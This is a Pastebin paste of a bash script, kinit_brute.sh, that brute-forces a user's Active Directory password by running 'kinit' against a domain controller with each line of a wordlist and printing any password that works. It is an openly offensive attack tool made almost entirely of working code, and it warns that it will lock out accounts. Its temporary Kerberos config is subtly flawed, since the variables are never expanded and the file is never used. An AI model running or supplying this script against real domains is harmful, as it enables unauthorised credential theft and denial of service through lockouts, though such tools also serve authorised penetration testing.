Advertisement
Guest User

Untitled

a guest
Jul 30th, 2017
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.82 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Title: kinit_brute.sh
  4. # Author: @ropnop
  5. # Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
  6. # The script configures the realm and KDC for you based on the domain provided and the domain controller
  7. # Since this configuration is only temporary though, if you want to actually *use* the TGT you should actually edit /etc/krb5.conf
  8. # Only tested with Heimdal kerberos (error messages might be different for MIT clients)
  9. # Note: this *will* lock out accounts if a domain lockout policy is set. Be careful
  10.  
  11.  
  12. USERNAME=$1
  13. DOMAINCONTROLLER=$2
  14. WORDLIST=$3
  15.  
  16. if [[ $# -ne 3 ]]; then
  17. echo "[!] Usage: ./kinit_brute.sh full_username domainController wordlist_file"
  18. echo "[!] Example: ./kinit_brute.sh ropnop@contoso.com dc01.contoso.com passwords.txt"
  19. exit 1
  20. fi
  21.  
  22. DOMAIN=$(echo $USERNAME | awk -F@ '{print toupper($2)}')
  23.  
  24. echo "[+] User: $USERNAME"
  25. echo "[+] Kerberos Realm: $DOMAIN"
  26. echo "[+] KDC: $DOMAINCONTROLLER"
  27. echo ""
  28.  
  29. KRB5_CONF=$(mktemp)
  30.  
  31. cat > $KRB5_CONF <<'asdfasdf'
  32. [libdefaults]
  33. default_realm = $DOMAIN
  34. [realms]
  35. $DOMAIN = {
  36. kdc = $DOMAINCONTROLLER
  37. admin_server = $DOMAINCONTROLLER
  38. }
  39. asdfasdf
  40.  
  41. while read PASSWORD; do
  42. RESULT=$(
  43. echo $PASSWORD | kinit --password-file=STDIN $USERNAME 2>&1
  44. )
  45. if [[ $RESULT == *"unable to reach"* ]]; then
  46. echo "[!] Unable to find KDC for realm. Check domain and DC"
  47. exit 1
  48. fi
  49. if [[ $RESULT == *"Wrong realm"* ]]; then
  50. echo "[!] Wrong realm. Make sure domain and DC are correct"
  51. exit 1
  52. fi
  53. if [[ $RESULT == *"Clients credentials have been revoked"* ]]; then
  54. echo "[!] Account locked out!"
  55. exit 1
  56. fi
  57. if [[ $RESULT == *"Password incorrect"* ]]; then
  58. :
  59. elif [[ -z "$RESULT" ]]; then
  60. echo "[+] Found password: $PASSWORD"
  61. echo ""
  62. exit 1
  63. else
  64. echo "[+] Error: $RESULT"
  65. fi
  66. done <$WORDLIST
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement